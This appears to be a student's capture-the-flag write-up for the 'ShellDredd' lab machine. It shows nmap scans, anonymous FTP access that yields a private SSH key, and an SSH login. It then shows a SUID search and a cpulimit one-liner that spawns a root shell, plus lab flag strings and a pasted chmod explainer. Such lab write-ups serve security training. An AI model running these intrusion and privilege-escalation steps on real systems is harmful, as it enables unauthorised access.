OS:
Web-Technology:

IP:

USERS:

CREDENTIALS (ANY):

==========

Community Attack Vectors (To-Try List):

==========

NMAP RESULTS:

```
 [~]
 ✘  kali  sudo nmap 192.168.219.130 -sU --top-ports 250
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 18:27 EDT
Stats: 0:00:37 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 17.16% done; ETC: 18:31 (0:02:59 remaining)
Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 47.84% done; ETC: 18:32 (0:02:16 remaining)
Nmap scan report for 192.168.219.130
Host is up (0.24s latency).
All 250 scanned ports on 192.168.219.130 are in ignored states.
Not shown: 250 closed udp ports (port-unreach)

Nmap done: 1 IP address (1 host up) scanned in 281.69 seconds
```

```
 [~]
 kali  nmap -p- -sV -sC -T4 192.168.219.130 --open
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 18:34 EDT
Nmap scan report for 192.168.219.130
Host is up (0.25s latency).
Not shown: 51277 closed tcp ports (conn-refused), 14256 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.45.189
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
61000/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 59:2d:21:0c:2f:af:9d:5a:7b:3e:a4:27:aa:37:89:08 (RSA)
|   256 59:26:da:44:3b:97:d2:30:b1:9b:9b:02:74:8b:87:58 (ECDSA)
|_  256 8e:ad:10:4f:e3:3e:65:28:40:cb:5b:bf:1d:24:7f:17 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.57 seconds
```

==========

Web Services Enumeration:

[+ NIKTO]

[+ WFUZZ]

FILES: / (Web Root)

DIRECTORIES: / (Web Root)

==========

OTHER:

Successfully logged into FTP as anonymous without password credentials,

Found nothing if I used the normal list command, so I did -la as well and found hidden files named .hannah,
Inside her directory lies id_rsa which is key to log into SSH.

```
ftp> ls
229 Entering Extended Passive Mode (|||56835|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||18823|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Aug 06  2020 .
drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..
drwxr-xr-x    2 0        0            4096 Aug 06  2020 .hannah
226 Directory send OK.
ftp> cd .hannah
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||54702|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Aug 06  2020 .
drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..
-rwxr-xr-x    1 0        0            1823 Aug 06  2020 id_rsa
226 Directory send OK.
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||64355|)
150 Opening BINARY mode data connection for id_rsa (1823 bytes).
100% |*****************************************************************************************************
226 Transfer complete.
1823 bytes received in 00:00 (7.28 KiB/s)
ftp> bye
221 Goodbye.
```

Looks like id_rsa does not work due to bad permissions, chmod 600 it,

```
[~]
✘ kali  ssh -i id_rsa hannah@192.168.219.130 -p 61000
The authenticity of host '[192.168.219.130]:61000 ([192.168.219.130]:61000)' can't be established.
ED25519 key fingerprint is SHA256:6tx3ODoidGvtQl+T9gJivu3xnndw7PXje1XLn+lZuSM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.219.130]:61000' (ED25519) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
hannah@192.168.219.130's password:
Connection closed by 192.168.219.130 port 61000
```

Chmod permissions (flags) explained: 600, 0600, 700, 777, 100 etc..

by Zaptoid | Apr 30, 2014 | HowTo, Unix/Linux | 6 comments

Want to know what the numbers in chmod mean? Using flags is an easy and short form to set user permissions. This article(I hope) puts it SIMPLE, if you want to learn the theory, also visit the links in the end.

There are four **OCTAL (0..7)** digits, which control the file permissions. But often, only three are used. If you use 600 it equals 0600. The missing digit is appended at the beginning of the number.

Each of three digits described **permissions**. **Position** in the number defines to which group permissions do apply!

Permissions:

1 – can execute

2 – can write

4 – can read

The octal number is the sum of those free permissions, i.e.

3 (1+2) – can execute and write

6 (2+4) – can write and read

Position of the digit in value:

1 – what owner can

2 – what users in the file group(class) can

3 – what users not in the file group(class) can

Examples:

chmod 600 file – owner can read and write

chmod 700 file – owner can read, write and execute

chmod 666 file – all can read and write

chmod 777 file – all can read, write and execute

```
[~]
✘ kali  chmod 600 id_rsa

[~]
kali  ssh -i id_rsa hannah@192.168.219.130 -p 61000
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
hannah@ShellDredd:~$
```

Got the local.txt file, moving onto priv-esc,

```
hannah@ShellDredd:~$ ls
local.txt  user.txt
hannah@ShellDredd:~$ cat local.txt
f7ed98b65a27ad23904cd8c2b9e8e24b
hannah@ShellDredd:~$ cat user.txt
Your flag is in another file ...
```

Using the following commands to display SUIDs,

```
hannah@ShellDredd:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/cpulimit
/usr/bin/mount
/usr/bin/passwd
```

Went on to gtfobins and found out that mawk and cpulimit are vulnerable to be used to priv esc so I went on with cpulimit since getting root access is a one-liner,

```
hannah@ShellDredd:~$ ./cpulimit -l 100 -f -- /bin/sh -p
-bash: ./cpulimit: No such file or directory
hannah@ShellDredd:~$ /cpulimit -l 100 -f -- /bin/sh -p
-bash: /cpulimit: No such file or directory
hannah@ShellDredd:~$ cd /usr/bin/cpulimit
-bash: cd: /usr/bin/cpulimit: Not a directory
hannah@ShellDredd:~$ cd /usr/bin/
hannah@ShellDredd:/usr/bin$ ./cpulimit -l 100 -f -- /bin/sh -p
Process 1218 detected
# 
```

and found proof.txt

```
# cd /root
# ls
proof.txt  root.txt
# cat root.txt
Your flag is in another file...
# cat proof.txt
f85e87efb9db123ea70378a2f36b8c40
```

==========

PRIV-ESC:

==========

Take Away Concepts: